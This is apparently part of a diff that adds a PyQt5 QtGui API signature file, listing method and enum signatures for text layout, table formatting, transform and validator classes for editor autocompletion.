+QtGui.QTextFrameFormat.BorderStyle.BorderStyle_Outset?10 +QtGui.QTextFrameFormat.Position?10 +QtGui.QTextFrameFormat.Position.InFlow?10 +QtGui.QTextFrameFormat.Position.FloatLeft?10 +QtGui.QTextFrameFormat.Position.FloatRight?10 +QtGui.QTextFrameFormat?1() +QtGui.QTextFrameFormat.__init__?1(self) +QtGui.QTextFrameFormat?1(QTextFrameFormat) +QtGui.QTextFrameFormat.__init__?1(self, QTextFrameFormat) +QtGui.QTextFrameFormat.isValid?4() -> bool +QtGui.QTextFrameFormat.setPosition?4(QTextFrameFormat.Position) +QtGui.QTextFrameFormat.position?4() -> QTextFrameFormat.Position +QtGui.QTextFrameFormat.border?4() -> float +QtGui.QTextFrameFormat.margin?4() -> float +QtGui.QTextFrameFormat.padding?4() -> float +QtGui.QTextFrameFormat.setWidth?4(QTextLength) +QtGui.QTextFrameFormat.width?4() -> QTextLength +QtGui.QTextFrameFormat.height?4() -> QTextLength +QtGui.QTextFrameFormat.setBorder?4(float) +QtGui.QTextFrameFormat.setMargin?4(float) +QtGui.QTextFrameFormat.setPadding?4(float) +QtGui.QTextFrameFormat.setWidth?4(float) +QtGui.QTextFrameFormat.setHeight?4(float) +QtGui.QTextFrameFormat.setHeight?4(QTextLength) +QtGui.QTextFrameFormat.setPageBreakPolicy?4(QTextFormat.PageBreakFlags) +QtGui.QTextFrameFormat.pageBreakPolicy?4() -> QTextFormat.PageBreakFlags +QtGui.QTextFrameFormat.setBorderBrush?4(QBrush) +QtGui.QTextFrameFormat.borderBrush?4() -> QBrush +QtGui.QTextFrameFormat.setBorderStyle?4(QTextFrameFormat.BorderStyle) +QtGui.QTextFrameFormat.borderStyle?4() -> QTextFrameFormat.BorderStyle +QtGui.QTextFrameFormat.topMargin?4() -> float +QtGui.QTextFrameFormat.bottomMargin?4() -> float +QtGui.QTextFrameFormat.leftMargin?4() -> float +QtGui.QTextFrameFormat.rightMargin?4() -> float +QtGui.QTextFrameFormat.setTopMargin?4(float) +QtGui.QTextFrameFormat.setBottomMargin?4(float) +QtGui.QTextFrameFormat.setLeftMargin?4(float) +QtGui.QTextFrameFormat.setRightMargin?4(float) +QtGui.QTextTableFormat?1() +QtGui.QTextTableFormat.__init__?1(self) +QtGui.QTextTableFormat?1(QTextTableFormat) +QtGui.QTextTableFormat.__init__?1(self, QTextTableFormat) +QtGui.QTextTableFormat.isValid?4() -> bool +QtGui.QTextTableFormat.columns?4() -> int +QtGui.QTextTableFormat.setColumnWidthConstraints?4(unknown-type) +QtGui.QTextTableFormat.columnWidthConstraints?4() -> unknown-type +QtGui.QTextTableFormat.clearColumnWidthConstraints?4() +QtGui.QTextTableFormat.cellSpacing?4() -> float +QtGui.QTextTableFormat.setCellSpacing?4(float) +QtGui.QTextTableFormat.cellPadding?4() -> float +QtGui.QTextTableFormat.alignment?4() -> Qt.Alignment +QtGui.QTextTableFormat.setColumns?4(int) +QtGui.QTextTableFormat.setCellPadding?4(float) +QtGui.QTextTableFormat.setAlignment?4(Qt.Alignment) +QtGui.QTextTableFormat.setHeaderRowCount?4(int) +QtGui.QTextTableFormat.headerRowCount?4() -> int +QtGui.QTextTableFormat.setBorderCollapse?4(bool) +QtGui.QTextTableFormat.borderCollapse?4() -> bool +QtGui.QTextTableCellFormat?1() +QtGui.QTextTableCellFormat.__init__?1(self) +QtGui.QTextTableCellFormat?1(QTextTableCellFormat) +QtGui.QTextTableCellFormat.__init__?1(self, QTextTableCellFormat) +QtGui.QTextTableCellFormat.isValid?4() -> bool +QtGui.QTextTableCellFormat.setTopPadding?4(float) +QtGui.QTextTableCellFormat.topPadding?4() -> float +QtGui.QTextTableCellFormat.setBottomPadding?4(float) +QtGui.QTextTableCellFormat.bottomPadding?4() -> float +QtGui.QTextTableCellFormat.setLeftPadding?4(float) +QtGui.QTextTableCellFormat.leftPadding?4() -> float +QtGui.QTextTableCellFormat.setRightPadding?4(float) +QtGui.QTextTableCellFormat.rightPadding?4() -> float +QtGui.QTextTableCellFormat.setPadding?4(float) +QtGui.QTextTableCellFormat.setTopBorder?4(float) +QtGui.QTextTableCellFormat.topBorder?4() -> float +QtGui.QTextTableCellFormat.setBottomBorder?4(float) +QtGui.QTextTableCellFormat.bottomBorder?4() -> float +QtGui.QTextTableCellFormat.setLeftBorder?4(float) +QtGui.QTextTableCellFormat.leftBorder?4() -> float +QtGui.QTextTableCellFormat.setRightBorder?4(float) +QtGui.QTextTableCellFormat.rightBorder?4() -> float +QtGui.QTextTableCellFormat.setBorder?4(float) +QtGui.QTextTableCellFormat.setTopBorderStyle?4(QTextFrameFormat.BorderStyle) +QtGui.QTextTableCellFormat.topBorderStyle?4() -> QTextFrameFormat.BorderStyle +QtGui.QTextTableCellFormat.setBottomBorderStyle?4(QTextFrameFormat.BorderStyle) +QtGui.QTextTableCellFormat.bottomBorderStyle?4() -> QTextFrameFormat.BorderStyle +QtGui.QTextTableCellFormat.setLeftBorderStyle?4(QTextFrameFormat.BorderStyle) +QtGui.QTextTableCellFormat.leftBorderStyle?4() -> QTextFrameFormat.BorderStyle +QtGui.QTextTableCellFormat.setRightBorderStyle?4(QTextFrameFormat.BorderStyle) +QtGui.QTextTableCellFormat.rightBorderStyle?4() -> QTextFrameFormat.BorderStyle +QtGui.QTextTableCellFormat.setBorderStyle?4(QTextFrameFormat.BorderStyle) +QtGui.QTextTableCellFormat.setTopBorderBrush?4(QBrush) +QtGui.QTextTableCellFormat.topBorderBrush?4() -> QBrush +QtGui.QTextTableCellFormat.setBottomBorderBrush?4(QBrush) +QtGui.QTextTableCellFormat.bottomBorderBrush?4() -> QBrush +QtGui.QTextTableCellFormat.setLeftBorderBrush?4(QBrush) +QtGui.QTextTableCellFormat.leftBorderBrush?4() -> QBrush +QtGui.QTextTableCellFormat.setRightBorderBrush?4(QBrush) +QtGui.QTextTableCellFormat.rightBorderBrush?4() -> QBrush +QtGui.QTextTableCellFormat.setBorderBrush?4(QBrush) +QtGui.QTextInlineObject?1() +QtGui.QTextInlineObject.__init__?1(self) +QtGui.QTextInlineObject?1(QTextInlineObject) +QtGui.QTextInlineObject.__init__?1(self, QTextInlineObject) +QtGui.QTextInlineObject.isValid?4() -> bool +QtGui.QTextInlineObject.rect?4() -> QRectF +QtGui.QTextInlineObject.width?4() -> float +QtGui.QTextInlineObject.ascent?4() -> float +QtGui.QTextInlineObject.descent?4() -> float +QtGui.QTextInlineObject.height?4() -> float +QtGui.QTextInlineObject.textDirection?4() -> Qt.LayoutDirection +QtGui.QTextInlineObject.setWidth?4(float) +QtGui.QTextInlineObject.setAscent?4(float) +QtGui.QTextInlineObject.setDescent?4(float) +QtGui.QTextInlineObject.textPosition?4() -> int +QtGui.QTextInlineObject.formatIndex?4() -> int +QtGui.QTextInlineObject.format?4() -> QTextFormat +QtGui.QTextLayout.CursorMode?10 +QtGui.QTextLayout.CursorMode.SkipCharacters?10 +QtGui.QTextLayout.CursorMode.SkipWords?10 +QtGui.QTextLayout?1() +QtGui.QTextLayout.__init__?1(self) +QtGui.QTextLayout?1(QString) +QtGui.QTextLayout.__init__?1(self, QString) +QtGui.QTextLayout?1(QString, QFont, QPaintDevice paintDevice=None) +QtGui.QTextLayout.__init__?1(self, QString, QFont, QPaintDevice paintDevice=None) +QtGui.QTextLayout?1(QTextBlock) +QtGui.QTextLayout.__init__?1(self, QTextBlock) +QtGui.QTextLayout.setFont?4(QFont) +QtGui.QTextLayout.font?4() -> QFont +QtGui.QTextLayout.setText?4(QString) +QtGui.QTextLayout.text?4() -> QString +QtGui.QTextLayout.setTextOption?4(QTextOption) +QtGui.QTextLayout.textOption?4() -> QTextOption +QtGui.QTextLayout.setPreeditArea?4(int, QString) +QtGui.QTextLayout.preeditAreaPosition?4() -> int +QtGui.QTextLayout.preeditAreaText?4() -> QString +QtGui.QTextLayout.setAdditionalFormats?4(unknown-type) +QtGui.QTextLayout.additionalFormats?4() -> unknown-type +QtGui.QTextLayout.clearAdditionalFormats?4() +QtGui.QTextLayout.setCacheEnabled?4(bool) +QtGui.QTextLayout.cacheEnabled?4() -> bool +QtGui.QTextLayout.beginLayout?4() +QtGui.QTextLayout.endLayout?4() +QtGui.QTextLayout.createLine?4() -> QTextLine +QtGui.QTextLayout.lineCount?4() -> int +QtGui.QTextLayout.lineAt?4(int) -> QTextLine +QtGui.QTextLayout.lineForTextPosition?4(int) -> QTextLine +QtGui.QTextLayout.isValidCursorPosition?4(int) -> bool +QtGui.QTextLayout.nextCursorPosition?4(int, QTextLayout.CursorMode mode=QTextLayout.SkipCharacters) -> int +QtGui.QTextLayout.previousCursorPosition?4(int, QTextLayout.CursorMode mode=QTextLayout.SkipCharacters) -> int +QtGui.QTextLayout.draw?4(QPainter, QPointF, unknown-type selections=[], QRectF clip=QRectF()) +QtGui.QTextLayout.drawCursor?4(QPainter, QPointF, int) +QtGui.QTextLayout.drawCursor?4(QPainter, QPointF, int, int) +QtGui.QTextLayout.position?4() -> QPointF +QtGui.QTextLayout.setPosition?4(QPointF) +QtGui.QTextLayout.boundingRect?4() -> QRectF +QtGui.QTextLayout.minimumWidth?4() -> float +QtGui.QTextLayout.maximumWidth?4() -> float +QtGui.QTextLayout.clearLayout?4() +QtGui.QTextLayout.setCursorMoveStyle?4(Qt.CursorMoveStyle) +QtGui.QTextLayout.cursorMoveStyle?4() -> Qt.CursorMoveStyle +QtGui.QTextLayout.leftCursorPosition?4(int) -> int +QtGui.QTextLayout.rightCursorPosition?4(int) -> int +QtGui.QTextLayout.glyphRuns?4(int from=-1, int length=-1) -> unknown-type +QtGui.QTextLayout.setFormats?4(unknown-type) +QtGui.QTextLayout.formats?4() -> unknown-type +QtGui.QTextLayout.clearFormats?4() +QtGui.QTextLayout.FormatRange.format?7 +QtGui.QTextLayout.FormatRange.length?7 +QtGui.QTextLayout.FormatRange.start?7 +QtGui.QTextLayout.FormatRange?1() +QtGui.QTextLayout.FormatRange.__init__?1(self) +QtGui.QTextLayout.FormatRange?1(QTextLayout.FormatRange) +QtGui.QTextLayout.FormatRange.__init__?1(self, QTextLayout.FormatRange) +QtGui.QTextLine.CursorPosition?10 +QtGui.QTextLine.CursorPosition.CursorBetweenCharacters?10 +QtGui.QTextLine.CursorPosition.CursorOnCharacter?10 +QtGui.QTextLine.Edge?10 +QtGui.QTextLine.Edge.Leading?10 +QtGui.QTextLine.Edge.Trailing?10 +QtGui.QTextLine?1() +QtGui.QTextLine.__init__?1(self) +QtGui.QTextLine?1(QTextLine) +QtGui.QTextLine.__init__?1(self, QTextLine) +QtGui.QTextLine.isValid?4() -> bool +QtGui.QTextLine.rect?4() -> QRectF +QtGui.QTextLine.x?4() -> float +QtGui.QTextLine.y?4() -> float +QtGui.QTextLine.width?4() -> float +QtGui.QTextLine.ascent?4() -> float +QtGui.QTextLine.descent?4() -> float +QtGui.QTextLine.height?4() -> float +QtGui.QTextLine.naturalTextWidth?4() -> float +QtGui.QTextLine.naturalTextRect?4() -> QRectF +QtGui.QTextLine.cursorToX?4(int, QTextLine.Edge edge=QTextLine.Leading) -> (float, int) +QtGui.QTextLine.xToCursor?4(float, QTextLine.CursorPosition edge=QTextLine.CursorBetweenCharacters) -> int +QtGui.QTextLine.setLineWidth?4(float) +QtGui.QTextLine.setNumColumns?4(int) +QtGui.QTextLine.setNumColumns?4(int, float) +QtGui.QTextLine.setPosition?4(QPointF) +QtGui.QTextLine.textStart?4() -> int +QtGui.QTextLine.textLength?4() -> int +QtGui.QTextLine.lineNumber?4() -> int +QtGui.QTextLine.draw?4(QPainter, QPointF, QTextLayout.FormatRange selection=None) +QtGui.QTextLine.position?4() -> QPointF +QtGui.QTextLine.leading?4() -> float +QtGui.QTextLine.setLeadingIncluded?4(bool) +QtGui.QTextLine.leadingIncluded?4() -> bool +QtGui.QTextLine.horizontalAdvance?4() -> float +QtGui.QTextLine.glyphRuns?4(int from=-1, int length=-1) -> unknown-type +QtGui.QTextObject?1(QTextDocument) +QtGui.QTextObject.__init__?1(self, QTextDocument) +QtGui.QTextObject.setFormat?4(QTextFormat) +QtGui.QTextObject.format?4() -> QTextFormat +QtGui.QTextObject.formatIndex?4() -> int +QtGui.QTextObject.document?4() -> QTextDocument +QtGui.QTextObject.objectIndex?4() -> int +QtGui.QTextBlockGroup?1(QTextDocument) +QtGui.QTextBlockGroup.__init__?1(self, QTextDocument) +QtGui.QTextBlockGroup.blockInserted?4(QTextBlock) +QtGui.QTextBlockGroup.blockRemoved?4(QTextBlock) +QtGui.QTextBlockGroup.blockFormatChanged?4(QTextBlock) +QtGui.QTextBlockGroup.blockList?4() -> unknown-type +QtGui.QTextList?1(QTextDocument) +QtGui.QTextList.__init__?1(self, QTextDocument) +QtGui.QTextList.count?4() -> int +QtGui.QTextList.item?4(int) -> QTextBlock +QtGui.QTextList.itemNumber?4(QTextBlock) -> int +QtGui.QTextList.itemText?4(QTextBlock) -> QString +QtGui.QTextList.removeItem?4(int) +QtGui.QTextList.remove?4(QTextBlock) +QtGui.QTextList.add?4(QTextBlock) +QtGui.QTextList.format?4() -> QTextListFormat +QtGui.QTextList.setFormat?4(QTextListFormat) +QtGui.QTextFrame?1(QTextDocument) +QtGui.QTextFrame.__init__?1(self, QTextDocument) +QtGui.QTextFrame.frameFormat?4() -> QTextFrameFormat +QtGui.QTextFrame.firstCursorPosition?4() -> QTextCursor +QtGui.QTextFrame.lastCursorPosition?4() -> QTextCursor +QtGui.QTextFrame.firstPosition?4() -> int +QtGui.QTextFrame.lastPosition?4() -> int +QtGui.QTextFrame.childFrames?4() -> unknown-type +QtGui.QTextFrame.parentFrame?4() -> QTextFrame +QtGui.QTextFrame.begin?4() -> QTextFrame.iterator +QtGui.QTextFrame.end?4() -> QTextFrame.iterator +QtGui.QTextFrame.setFrameFormat?4(QTextFrameFormat) +QtGui.QTextFrame.iterator?1() +QtGui.QTextFrame.iterator.__init__?1(self) +QtGui.QTextFrame.iterator?1(QTextFrame.iterator) +QtGui.QTextFrame.iterator.__init__?1(self, QTextFrame.iterator) +QtGui.QTextFrame.iterator.parentFrame?4() -> QTextFrame +QtGui.QTextFrame.iterator.currentFrame?4() -> QTextFrame +QtGui.QTextFrame.iterator.currentBlock?4() -> QTextBlock +QtGui.QTextFrame.iterator.atEnd?4() -> bool +QtGui.QTextBlock?1() +QtGui.QTextBlock.__init__?1(self) +QtGui.QTextBlock?1(QTextBlock) +QtGui.QTextBlock.__init__?1(self, QTextBlock) +QtGui.QTextBlock.isValid?4() -> bool +QtGui.QTextBlock.position?4() -> int +QtGui.QTextBlock.length?4() -> int +QtGui.QTextBlock.contains?4(int) -> bool +QtGui.QTextBlock.layout?4() -> QTextLayout +QtGui.QTextBlock.blockFormat?4() -> QTextBlockFormat +QtGui.QTextBlock.blockFormatIndex?4() -> int +QtGui.QTextBlock.charFormat?4() -> QTextCharFormat +QtGui.QTextBlock.charFormatIndex?4() -> int +QtGui.QTextBlock.text?4() -> QString +QtGui.QTextBlock.document?4() -> QTextDocument +QtGui.QTextBlock.textList?4() -> QTextList +QtGui.QTextBlock.begin?4() -> QTextBlock.iterator +QtGui.QTextBlock.end?4() -> QTextBlock.iterator +QtGui.QTextBlock.next?4() -> QTextBlock +QtGui.QTextBlock.previous?4() -> QTextBlock +QtGui.QTextBlock.userData?4() -> QTextBlockUserData +QtGui.QTextBlock.setUserData?4(QTextBlockUserData) +QtGui.QTextBlock.userState?4() -> int +QtGui.QTextBlock.setUserState?4(int) +QtGui.QTextBlock.clearLayout?4() +QtGui.QTextBlock.revision?4() -> int +QtGui.QTextBlock.setRevision?4(int) +QtGui.QTextBlock.isVisible?4() -> bool +QtGui.QTextBlock.setVisible?4(bool) +QtGui.QTextBlock.blockNumber?4() -> int +QtGui.QTextBlock.firstLineNumber?4() -> int +QtGui.QTextBlock.setLineCount?4(int) +QtGui.QTextBlock.lineCount?4() -> int +QtGui.QTextBlock.textDirection?4() -> Qt.LayoutDirection +QtGui.QTextBlock.textFormats?4() -> unknown-type +QtGui.QTextBlock.iterator?1() +QtGui.QTextBlock.iterator.__init__?1(self) +QtGui.QTextBlock.iterator?1(QTextBlock.iterator) +QtGui.QTextBlock.iterator.__init__?1(self, QTextBlock.iterator) +QtGui.QTextBlock.iterator.fragment?4() -> QTextFragment +QtGui.QTextBlock.iterator.atEnd?4() -> bool +QtGui.QTextFragment?1() +QtGui.QTextFragment.__init__?1(self) +QtGui.QTextFragment?1(QTextFragment) +QtGui.QTextFragment.__init__?1(self, QTextFragment) +QtGui.QTextFragment.isValid?4() -> bool +QtGui.QTextFragment.position?4() -> int +QtGui.QTextFragment.length?4() -> int +QtGui.QTextFragment.contains?4(int) -> bool +QtGui.QTextFragment.charFormat?4() -> QTextCharFormat +QtGui.QTextFragment.charFormatIndex?4() -> int +QtGui.QTextFragment.text?4() -> QString +QtGui.QTextFragment.glyphRuns?4(int from=-1, int length=-1) -> unknown-type +QtGui.QTextBlockUserData?1() +QtGui.QTextBlockUserData.__init__?1(self) +QtGui.QTextBlockUserData?1(QTextBlockUserData) +QtGui.QTextBlockUserData.__init__?1(self, QTextBlockUserData) +QtGui.QTextOption.TabType?10 +QtGui.QTextOption.TabType.LeftTab?10 +QtGui.QTextOption.TabType.RightTab?10 +QtGui.QTextOption.TabType.CenterTab?10 +QtGui.QTextOption.TabType.DelimiterTab?10 +QtGui.QTextOption.Flag?10 +QtGui.QTextOption.Flag.IncludeTrailingSpaces?10 +QtGui.QTextOption.Flag.ShowTabsAndSpaces?10 +QtGui.QTextOption.Flag.ShowLineAndParagraphSeparators?10 +QtGui.QTextOption.Flag.AddSpaceForLineAndParagraphSeparators?10 +QtGui.QTextOption.Flag.SuppressColors?10 +QtGui.QTextOption.Flag.ShowDocumentTerminator?10 +QtGui.QTextOption.WrapMode?10 +QtGui.QTextOption.WrapMode.NoWrap?10 +QtGui.QTextOption.WrapMode.WordWrap?10 +QtGui.QTextOption.WrapMode.ManualWrap?10 +QtGui.QTextOption.WrapMode.WrapAnywhere?10 +QtGui.QTextOption.WrapMode.WrapAtWordBoundaryOrAnywhere?10 +QtGui.QTextOption?1() +QtGui.QTextOption.__init__?1(self) +QtGui.QTextOption?1(Qt.Alignment) +QtGui.QTextOption.__init__?1(self, Qt.Alignment) +QtGui.QTextOption?1(QTextOption) +QtGui.QTextOption.__init__?1(self, QTextOption) +QtGui.QTextOption.alignment?4() -> Qt.Alignment +QtGui.QTextOption.setTextDirection?4(Qt.LayoutDirection) +QtGui.QTextOption.textDirection?4() -> Qt.LayoutDirection +QtGui.QTextOption.setWrapMode?4(QTextOption.WrapMode) +QtGui.QTextOption.wrapMode?4() -> QTextOption.WrapMode +QtGui.QTextOption.flags?4() -> QTextOption.Flags +QtGui.QTextOption.tabStop?4() -> float +QtGui.QTextOption.setTabArray?4(unknown-type) +QtGui.QTextOption.tabArray?4() -> unknown-type +QtGui.QTextOption.setUseDesignMetrics?4(bool) +QtGui.QTextOption.useDesignMetrics?4() -> bool +QtGui.QTextOption.setAlignment?4(Qt.Alignment) +QtGui.QTextOption.setFlags?4(QTextOption.Flags) +QtGui.QTextOption.setTabStop?4(float) +QtGui.QTextOption.setTabs?4(unknown-type) +QtGui.QTextOption.tabs?4() -> unknown-type +QtGui.QTextOption.setTabStopDistance?4(float) +QtGui.QTextOption.tabStopDistance?4() -> float +QtGui.QTextOption.Flags?1() +QtGui.QTextOption.Flags.__init__?1(self) +QtGui.QTextOption.Flags?1(int) +QtGui.QTextOption.Flags.__init__?1(self, int) +QtGui.QTextOption.Flags?1(QTextOption.Flags) +QtGui.QTextOption.Flags.__init__?1(self, QTextOption.Flags) +QtGui.QTextOption.Tab.delimiter?7 +QtGui.QTextOption.Tab.position?7 +QtGui.QTextOption.Tab.type?7 +QtGui.QTextOption.Tab?1() +QtGui.QTextOption.Tab.__init__?1(self) +QtGui.QTextOption.Tab?1(float, QTextOption.TabType, QChar delim='') +QtGui.QTextOption.Tab.__init__?1(self, float, QTextOption.TabType, QChar delim='') +QtGui.QTextOption.Tab?1(QTextOption.Tab) +QtGui.QTextOption.Tab.__init__?1(self, QTextOption.Tab) +QtGui.QTextTableCell?1() +QtGui.QTextTableCell.__init__?1(self) +QtGui.QTextTableCell?1(QTextTableCell) +QtGui.QTextTableCell.__init__?1(self, QTextTableCell) +QtGui.QTextTableCell.format?4() -> QTextCharFormat +QtGui.QTextTableCell.setFormat?4(QTextCharFormat) +QtGui.QTextTableCell.row?4() -> int +QtGui.QTextTableCell.column?4() -> int +QtGui.QTextTableCell.rowSpan?4() -> int +QtGui.QTextTableCell.columnSpan?4() -> int +QtGui.QTextTableCell.isValid?4() -> bool +QtGui.QTextTableCell.firstCursorPosition?4() -> QTextCursor +QtGui.QTextTableCell.lastCursorPosition?4() -> QTextCursor +QtGui.QTextTableCell.tableCellFormatIndex?4() -> int +QtGui.QTextTable?1(QTextDocument) +QtGui.QTextTable.__init__?1(self, QTextDocument) +QtGui.QTextTable.resize?4(int, int) +QtGui.QTextTable.insertRows?4(int, int) +QtGui.QTextTable.insertColumns?4(int, int) +QtGui.QTextTable.removeRows?4(int, int) +QtGui.QTextTable.removeColumns?4(int, int) +QtGui.QTextTable.mergeCells?4(int, int, int, int) +QtGui.QTextTable.mergeCells?4(QTextCursor) +QtGui.QTextTable.splitCell?4(int, int, int, int) +QtGui.QTextTable.rows?4() -> int +QtGui.QTextTable.columns?4() -> int +QtGui.QTextTable.cellAt?4(int, int) -> QTextTableCell +QtGui.QTextTable.cellAt?4(int) -> QTextTableCell +QtGui.QTextTable.cellAt?4(QTextCursor) -> QTextTableCell +QtGui.QTextTable.rowStart?4(QTextCursor) -> QTextCursor +QtGui.QTextTable.rowEnd?4(QTextCursor) -> QTextCursor +QtGui.QTextTable.format?4() -> QTextTableFormat +QtGui.QTextTable.setFormat?4(QTextTableFormat) +QtGui.QTextTable.appendRows?4(int) +QtGui.QTextTable.appendColumns?4(int) +QtGui.QTouchDevice.CapabilityFlag?10 +QtGui.QTouchDevice.CapabilityFlag.Position?10 +QtGui.QTouchDevice.CapabilityFlag.Area?10 +QtGui.QTouchDevice.CapabilityFlag.Pressure?10 +QtGui.QTouchDevice.CapabilityFlag.Velocity?10 +QtGui.QTouchDevice.CapabilityFlag.RawPositions?10 +QtGui.QTouchDevice.CapabilityFlag.NormalizedPosition?10 +QtGui.QTouchDevice.CapabilityFlag.MouseEmulation?10 +QtGui.QTouchDevice.DeviceType?10 +QtGui.QTouchDevice.DeviceType.TouchScreen?10 +QtGui.QTouchDevice.DeviceType.TouchPad?10 +QtGui.QTouchDevice?1() +QtGui.QTouchDevice.__init__?1(self) +QtGui.QTouchDevice?1(QTouchDevice) +QtGui.QTouchDevice.__init__?1(self, QTouchDevice) +QtGui.QTouchDevice.devices?4() -> unknown-type +QtGui.QTouchDevice.name?4() -> QString +QtGui.QTouchDevice.type?4() -> QTouchDevice.DeviceType +QtGui.QTouchDevice.capabilities?4() -> QTouchDevice.Capabilities +QtGui.QTouchDevice.setName?4(QString) +QtGui.QTouchDevice.setType?4(QTouchDevice.DeviceType) +QtGui.QTouchDevice.setCapabilities?4(QTouchDevice.Capabilities) +QtGui.QTouchDevice.maximumTouchPoints?4() -> int +QtGui.QTouchDevice.setMaximumTouchPoints?4(int) +QtGui.QTouchDevice.Capabilities?1() +QtGui.QTouchDevice.Capabilities.__init__?1(self) +QtGui.QTouchDevice.Capabilities?1(int) +QtGui.QTouchDevice.Capabilities.__init__?1(self, int) +QtGui.QTouchDevice.Capabilities?1(QTouchDevice.Capabilities) +QtGui.QTouchDevice.Capabilities.__init__?1(self, QTouchDevice.Capabilities) +QtGui.QTransform.TransformationType?10 +QtGui.QTransform.TransformationType.TxNone?10 +QtGui.QTransform.TransformationType.TxTranslate?10 +QtGui.QTransform.TransformationType.TxScale?10 +QtGui.QTransform.TransformationType.TxRotate?10 +QtGui.QTransform.TransformationType.TxShear?10 +QtGui.QTransform.TransformationType.TxProject?10 +QtGui.QTransform?1() +QtGui.QTransform.__init__?1(self) +QtGui.QTransform?1(float, float, float, float, float, float, float, float, float m33=1) +QtGui.QTransform.__init__?1(self, float, float, float, float, float, float, float, float, float m33=1) +QtGui.QTransform?1(float, float, float, float, float, float) +QtGui.QTransform.__init__?1(self, float, float, float, float, float, float) +QtGui.QTransform?1(QTransform) +QtGui.QTransform.__init__?1(self, QTransform) +QtGui.QTransform.type?4() -> QTransform.TransformationType +QtGui.QTransform.setMatrix?4(float, float, float, float, float, float, float, float, float) +QtGui.QTransform.inverted?4() -> (QTransform, bool) +QtGui.QTransform.adjoint?4() -> QTransform +QtGui.QTransform.transposed?4() -> QTransform +QtGui.QTransform.translate?4(float, float) -> QTransform +QtGui.QTransform.scale?4(float, float) -> QTransform +QtGui.QTransform.shear?4(float, float) -> QTransform +QtGui.QTransform.rotate?4(float, Qt.Axis axis=Qt.ZAxis) -> QTransform +QtGui.QTransform.rotateRadians?4(float, Qt.Axis axis=Qt.ZAxis) -> QTransform +QtGui.QTransform.squareToQuad?4(QPolygonF, QTransform) -> bool +QtGui.QTransform.quadToSquare?4(QPolygonF, QTransform) -> bool +QtGui.QTransform.quadToQuad?4(QPolygonF, QPolygonF, QTransform) -> bool +QtGui.QTransform.reset?4() +QtGui.QTransform.map?4(int, int) -> (int, int) +QtGui.QTransform.map?4(float, float) -> (float, float) +QtGui.QTransform.map?4(QPoint) -> QPoint +QtGui.QTransform.map?4(QPointF) -> QPointF +QtGui.QTransform.map?4(QLine) -> QLine +QtGui.QTransform.map?4(QLineF) -> QLineF +QtGui.QTransform.map?4(QPolygonF) -> QPolygonF +QtGui.QTransform.map?4(QPolygon) -> QPolygon +QtGui.QTransform.map?4(QRegion) -> QRegion +QtGui.QTransform.map?4(QPainterPath) -> QPainterPath +QtGui.QTransform.mapToPolygon?4(QRect) -> QPolygon +QtGui.QTransform.mapRect?4(QRect) -> QRect +QtGui.QTransform.mapRect?4(QRectF) -> QRectF +QtGui.QTransform.isAffine?4() -> bool +QtGui.QTransform.isIdentity?4() -> bool +QtGui.QTransform.isInvertible?4() -> bool +QtGui.QTransform.isScaling?4() -> bool +QtGui.QTransform.isRotating?4() -> bool +QtGui.QTransform.isTranslating?4() -> bool +QtGui.QTransform.determinant?4() -> float +QtGui.QTransform.m11?4() -> float +QtGui.QTransform.m12?4() -> float +QtGui.QTransform.m13?4() -> float +QtGui.QTransform.m21?4() -> float +QtGui.QTransform.m22?4() -> float +QtGui.QTransform.m23?4() -> float +QtGui.QTransform.m31?4() -> float +QtGui.QTransform.m32?4() -> float +QtGui.QTransform.m33?4() -> float +QtGui.QTransform.dx?4() -> float +QtGui.QTransform.dy?4() -> float +QtGui.QTransform.fromTranslate?4(float, float) -> QTransform +QtGui.QTransform.fromScale?4(float, float) -> QTransform +QtGui.QValidator.State?10 +QtGui.QValidator.State.Invalid?10 +QtGui.QValidator.State.Intermediate?10 +QtGui.QValidator.State.Acceptable?10 +QtGui.QValidator?1(QObject parent=None) +QtGui.QValidator.__init__?1(self, QObject parent=None) +QtGui.QValidator.validate?4(QString, int) -> (QValidator.State, QString, int) +QtGui.QValidator.fixup?4(QString) -> QString +QtGui.QValidator.setLocale?4(QLocale) +QtGui.QValidator.locale?4() -> QLocale +QtGui.QValidator.changed?4() +QtGui.QIntValidator?1(QObject parent=None) +QtGui.QIntValidator.__init__?1(self, QObject parent=None) +QtGui.QIntValidator?1(int, int, QObject parent=None) +QtGui.QIntValidator.__init__?1(self, int, int, QObject parent=None) +QtGui.QIntValidator.validate?4(QString, int) -> (QValidator.State, QString, int) +QtGui.QIntValidator.fixup?4(QString) -> QString +QtGui.QIntValidator.setBottom?4(int) +QtGui.QIntValidator.setTop?4(int) +QtGui.QIntValidator.setRange?4(int, int) +QtGui.QIntValidator.bottom?4() -> int +QtGui.QIntValidator.top?4() -> int +QtGui.QDoubleValidator.Notation?10 +QtGui.QDoubleValidator.Notation.StandardNotation?10 +QtGui.QDoubleValidator.Notation.ScientificNotation?10 +QtGui.QDoubleValidator?1(QObject parent=None) +QtGui.QDoubleValidator.__init__?1(self, QObject parent=None) +QtGui.QDoubleValidator?1(float, float, int, QObject parent=None) +QtGui.QDoubleValidator.__init__?1(self, float, float, int, QObject parent=None) +QtGui.QDoubleValidator.validate?4(QString, int) -> (QValidator.State, QString, int) +QtGui.QDoubleValidator.setRange?4(float, float, int decimals=0) +QtGui.QDoubleValidator.setBottom?4(float) +QtGui.QDoubleValidator.setTop?4(float) +QtGui.QDoubleValidator.setDecimals?4(int) +QtGui.QDoubleValidator.bottom?4() -> float +QtGui.QDoubleValidator.top?4() -> float +QtGui.QDoubleValidator.decimals?4() -> int +QtGui.QDoubleValidator.setNotation?4(QDoubleValidator.Notation) +QtGui.QDoubleValidator.notation?4() -> QDoubleValidator.Notation +QtGui.QRegExpValidator?1(QObject parent=None) +QtGui.QRegExpValidator.__init__?1(self, QObject parent=None) +QtGui.QRegExpValidator?1(QRegExp, QObject parent=None) +QtGui.QRegExpValidator.__init__?1(self, QRegExp, QObject parent=None) +QtGui.QRegExpValidator.validate?4(QString, int) -> (QValidator.State, QString, int) +QtGui.QRegExpValidator.setRegExp?4(QRegExp) +QtGui.QRegExpValidator.regExp?4() -> QRegExp +QtGui.QRegularExpressionValidator?1(QObject parent=None) +QtGui.QRegularExpressionValidator.__init__?1(self, QObject parent=None) +QtGui.QRegularExpressionValidator?1(QRegularExpression, QObject parent=None) +QtGui.QRegularExpressionValidator.__init__?1(self, QRegularExpression, QObject parent=None) +QtGui.QRegularExpressionValidator.validate?4(QString, int) -> (QValidator.State, QString, int) +QtGui.QRegularExpressionValidator.regularExpression?4() -> QRegularExpression +QtGui.QRegularExpressionValidator.setRegularExpression?4(QRegularExpression) 